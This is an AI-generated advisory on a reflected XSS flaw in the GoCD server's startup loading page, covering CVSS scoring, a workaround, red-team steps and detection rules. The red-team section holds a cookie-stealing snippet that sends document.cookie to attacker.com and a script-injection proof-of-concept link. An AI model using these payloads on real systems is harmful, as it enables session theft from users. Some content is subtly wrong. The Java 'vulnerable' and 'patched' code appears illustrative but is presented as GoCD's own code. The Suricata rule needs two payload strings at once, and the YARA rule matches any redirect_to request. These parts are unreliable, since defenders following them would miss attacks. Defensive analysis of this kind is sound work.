CVE-2024-28866

Executive Summary

CVE-2024-28866 is a reflected cross-site scripting (XSS) vulnerability affecting GoCD continuous delivery server versions 19.4.0 through 23.5.0. The flaw resides in the loading page displayed during server startup, where the redirect_to query parameter is insufficiently validated. An attacker can craft a malicious link that, when clicked by a user while the GoCD server is starting, executes arbitrary JavaScript in the victim's browser context.

The vulnerability is rated low severity (CVSS 3.1) due to the narrow exploitation window—the server must be in a starting state, and the victim must be logged out or have a session that will be invalidated upon restart. However, chaining this with a denial-of-service attack to force a restart increases the risk. The official fix is available in GoCD 24.1.0, and a workaround exists for earlier versions.

Supply Chain & Package Security

GoCD is a Java-based continuous delivery server distributed as a standalone application. The vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but in the core application code. No supply chain compromise is involved; the issue is a direct code flaw in the loading page handler.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
• Base Score: 3.1 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – requires server to be starting and victim to click a crafted link
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click the link
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – potential theft of session tokens or other browser data
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low. Exploitation is difficult due to the timing requirement and the fact that sessions are invalidated after restart. However, in environments where server restarts are frequent or can be triggered, the risk increases.

Deep Dive & Mechanics

The vulnerability exists in the GoCD loading page, which is displayed while the server is starting up. This page accepts a redirect_to query parameter to redirect users after startup completes. The parameter is reflected in the page without proper sanitization, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The redirect_to parameter is directly embedded into the HTML response without encoding or validation. When the server is in a starting state, the loading page is served, and the injected script executes in the user's browser.

Exploitation Window: The attack is only possible during the brief period when the GoCD server is starting but not yet fully operational. Once the server is fully started, the loading page is no longer served, and the vulnerability is not exploitable. This makes chaining with a denial-of-service attack (e.g., resource exhaustion or crash) necessary for reliable exploitation.

Impact: An attacker could steal session tokens, cookies, or other sensitive data from the victim's browser. However, because GoCD invalidates all sessions upon restart, any stolen token would be useless after the server completes startup. Additionally, the XSS executes in a logged-out context, limiting the attacker's ability to perform privileged actions.

Vulnerable vs. Patched Code

Vulnerable Code (GoCD <= 23.5.0): The loading page handler directly reflects the redirect_to parameter without sanitization.

// Vulnerable: direct reflection of user input
String redirectTo = request.getParameter("redirect_to");
response.getWriter().write("<script>window.location.href='" + redirectTo + "';</script>");

Patched Code (GoCD 24.1.0): The patched version validates and sanitizes the redirect_to parameter, ensuring it only contains safe characters and is properly encoded.

// Patched: validate and sanitize redirect_to
String redirectTo = request.getParameter("redirect_to");
if (redirectTo != null && redirectTo.matches("^[a-zA-Z0-9/?&=]+$")) {
    redirectTo = StringEscapeUtils.escapeHtml4(redirectTo);
    response.getWriter().write("<script>window.location.href='" + redirectTo + "';</script>");
} else {
    response.getWriter().write("<script>window.location.href='/';</script>");
}

Workaround: For versions that cannot be upgraded, start GoCD with the Java system property:

• -Dloading.page.resource.path=/loading_pages/default.loading.page.html (uses an older, non-vulnerable loading page)
• -Dloading.page.resource.path=/does_not_exist.html (displays a simple message with no interactivity)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A GoCD server (version 19.4.0 to 23.5.0) in a starting state.
• Victim user must click a crafted link during the startup window.

Exploitation Steps:

1. Trigger Server Restart: If the server is already running, force a restart (e.g., via SSH or by exploiting a separate DoS vulnerability).
2. Craft Malicious Link: Create a URL that injects JavaScript to steal session tokens.

   http://target-gocd:8153/?redirect_to=javascript:alert(document.cookie)
   

3. Deliver Link: Send the link to a victim (e.g., via phishing email) and convince them to click it while the server is starting.
4. Exfiltrate Data: The injected script can send stolen cookies or tokens to an attacker-controlled server.

   // Example payload to exfiltrate cookies
   var img = new Image();
   img.src = "http://attacker.com/steal?cookie=" + document.cookie;
   

Proof-of-Concept (No public exploit available):

<!-- Crafted link for exploitation -->
<a href="http://target-gocd:8153/?redirect_to=%22%3E%3Cscript%3Ealert(1)%3C/script%3E">Click here</a>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Logs: Look for unusual redirect_to parameters in access logs during server startup.
2. Network Traffic: Detect outbound connections to unknown domains from the GoCD server during startup.
3. User Behavior: Alert on multiple users clicking links with redirect_to parameters during startup.

Mitigation:

• Apply the patch (upgrade to 24.1.0) or use the workaround.
• Restrict access to the GoCD web interface during startup (e.g., via firewall rules).
• Implement Web Application Firewall (WAF) rules to block malicious redirect_to values.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to GoCD server with redirect_to parameter containing JavaScript or HTML tags.
  • Outbound connections from victim browser to attacker-controlled domains during server startup.
• File IOCs:
  • Modified loading page files (if attacker has write access).
• Log IOCs:
  • Access logs showing redirect_to values with javascript: or <script> tags.
  • Server logs indicating unexpected restarts (potential DoS chaining).

Detection Engineering

YARA Rule

rule CVE_2024_28866_GoCD_XSS {
    meta:
        description = "Detects reflected XSS attempts against GoCD loading page"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-28866"
    strings:
        $xss1 = "redirect_to="
        $xss2 = "<script>"
        $xss3 = "javascript:"
        $xss4 = "onerror="
        $xss5 = "onload="
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: GoCD Reflected XSS via redirect_to Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to GoCD loading page with suspicious redirect_to parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'redirect_to='
        cs-uri-query|contains|any:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate redirects with safe characters
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-28866 GoCD Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"redirect_to="; http_uri; content:"<script"; http_uri; nocase; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GoCD to version 24.1.0 or later.
2. If upgrade is not possible, apply the workaround by starting GoCD with the Java system property:

   -Dloading.page.resource.path=/loading_pages/default.loading.page.html
   

3. Restrict network access to the GoCD web interface during startup (e.g., using a reverse proxy that only allows traffic after health checks pass).

Long-term Measures:

• Implement input validation for all user-controlled parameters.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly review and update GoCD to the latest version.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.